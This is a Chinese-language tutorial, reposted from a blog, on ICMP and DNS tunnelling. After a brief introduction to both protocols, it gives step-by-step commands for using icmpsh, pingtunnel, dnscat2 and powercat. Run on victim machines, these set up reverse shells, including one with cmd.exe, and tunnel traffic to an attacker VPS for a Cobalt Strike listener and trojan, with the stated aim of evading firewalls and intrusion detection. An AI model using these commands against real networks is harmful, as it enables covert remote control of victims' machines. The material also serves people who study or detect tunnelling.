DNS和ICMP隧道
ICMP隧道
ICMP介绍
ICMP(InternetControl MessageProtocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协 议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可 用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用主要概念有:
1.确认ip数据包是否成功到达目的地
2.通知源主机发送ip数据包丢失的原因
3.ICMP是基于IP协议工作的
4.ICMP只能作用于IPV4,IPV6下,
类型
- 3 终点不可达
- 11 时间超过
- 12 参数问题
- 5 改变路由
- 8或0 回送请求或回答
- 13或14 时间戳请求或回答
代码
进一步区分某种类型中的几种不同情况。
检验和
用于检验整个ICMP报文。但是IP首部检验和并不检验IP数据报的内容,因此不能保证经过传输的ICMP 报文不产生差错。
ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文
ICMP抓包分析
一般PING命令就是使用ICMP的协议执行 ping 8.8.8.8
第一个包是请求的数据包
第二个数返回的数据包
可以看data 中的字段数固定的值
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很 高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道。实现绕过防火墙和入侵检 测系统的阻拦。
优点:
1.ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
2.利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限
ICMP隧道实验
反弹shell
ICMP做隧道一般有这么几种,一种是反弹shell 的形式 icmpsh使用简单,使用的是python,项目地址:https://github.com/bdamele/icmpsh
该工具安装起来比较复杂,使用的是python2,
1、下载工具,然后执行安装依赖的命名
pip install impacket
2、执行禁用icmp回复
sysctl -w net.ipv4.icmp_echo_ignore_all=1
3、开启监听命令
python icmpsh_m.py 攻击者IP 受害者IP
4、在受害者机器执行反弹命令
icmpsh.exe -t 攻击者IP
5、收到反弹shell的内容 pip install impacket sysctl -w net.ipv4.icmp_echo_ignore_all=1 python icmpsh_m.py 攻击者IP 受害者IP icmpsh.exe -t 攻击者IP
6、查看流量
搭建隧道
ICMP可以用作反弹shell,也可以用作隧道,这里我们使用工具:pingtunnel
下载地址;https://github.com/esrrhs/pingtunnel/releases/tag/2.7
首先将需要的版本下载下来然后进行隧道搭建
1、开启服务端
pingtunnel -type server
2、开启客户端
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 172.16.100.108 -t 172.16.100.222:2222 -tcp 1 -noprint 1 -nolog 1
3、可以查看他的用法
来看一下网络拓扑才能更好理解这个隧道
1、开启服务端,在VPS执行
pingtunnel -type server
2、开启开启转发的命令
pingtunnel.exe -type client -l :9999 -s 118.178.134.226 -t 118.178.134.226:7777 -tcp 1
将来自和本地9999端口连接的流量,转发给118.178.134.226的7777端口,然后我们就可以创建一个 CS的监听器完成操作
3、设置监听器
4、生成木马然后看一下点击链接
5、查看流量
DNS隧道
DNS协议介绍
域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映 射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前,对于每一 级域名长度的限制是63个字符,域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地 址,DNS除了提供主机名到IP地址转换外,还提供如下服务:主机别名、邮件服务器别名、负载分配等。
DNS报文格式
DNS定义了两种报文 ,一种为查询报文;另一种是对查询报文的响应,称为响应报文。无论是查询报文还是响应报文
ID:由生成DNS查询的程序指定的16位的标志符。该标志符也被随后的应答报文所用,申请者利用这个标志将 应答和原来的请求对应起来. flags:标志位,标记查询/应答,查询类型,截断,递归查询等等 type:DNS记录类型,常用的有: A:A记录,指向别名或IP地址。 NS:解析服务器记录。 MX:邮件交换记录。 CNAME:别名。 AAAA:IPv6地址解析。 txt:为某个主机名或域名设置的说明。 PTR:指针记录,PTR记录是A记录的逆向记录。 SOA:标记一个区的开始,起始授权机构记录。
我们来PING一下百度看看一看流量
请求数据包
返回数据包
一般DNS隧道中通信的内容隐藏在请求区域和回答区域中,可能在不同的type类型中隐藏的地方不同
DNS隧道流量分析
我们搭建一个简单的DNS的隧道用于反弹shell
通过分析发现DNS请求类型是TXT,为某个主机名或域名设置的说明。并且域名的有所变化,通过观看 应该是16进制加密的,分期其中一段为(C:\Users\Ad.ministrator>.pc.test)
DNS隧道搭建(dnscat)
dnscat是可以用来进行DNS隧道进行通信的,工具有客户端和服务端,
下载地址:https://github.com/iagox86/dnscat2 工具安装非常简单
服务端安装:
sudo apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install
客户端安装:
cd dnscat2/client/
make
1、我们在kali 中执行如下命令开启服务端
ruby dnscat2.rb pc.test -e open --no-cache
2、在windows使用powercat连接
powercat -c 192.168.41.134 -p 53 -dns pc.test -e cmd.exe
3、收到反弹shell的隧道
原文地址:https://blog.csdn.net/qq_64177395/article/details/143512127
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!